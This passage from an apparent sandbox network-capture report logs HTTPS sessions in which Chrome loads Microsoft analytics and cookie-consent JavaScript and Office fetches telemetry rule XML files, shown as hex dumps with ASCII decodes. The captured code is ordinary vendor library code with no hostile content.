7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49839	13.107.246.63	443	6952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:05 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 04:12:06 UTC	713	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:05 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 32791 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: ae9d672f-401e-00c3-76da-3dd985000000 x-ms-version: 2009-09-19 x-azure-ref: 20241124T041205Z-178bfbc474bwh9gmhC1NYCy3rs00000005cg00000000q7xm Accept-Ranges: bytes
2024-11-24 04:12:06 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-24 04:12:06 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:06 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:07 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: d8182971-801e-0067-2581-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041207Z-174c587ffdf8fcgwhC1TEBnn70000000040000000000me9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:07 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:07 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:07 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bac6914c-b01e-0002-4559-3c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041207Z-15b8b599d88wk8w4hC1TEB14b800000003ug00000000mczd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:07 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:07 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:07 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041207Z-178bfbc474bscnbchC1NYCe7eg00000005kg00000000acus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:07 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:07 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 40694bf4-501e-008c-7530-3ccd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041207Z-178bfbc474bw8bwphC1NYC38b4000000055g00000000k56w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
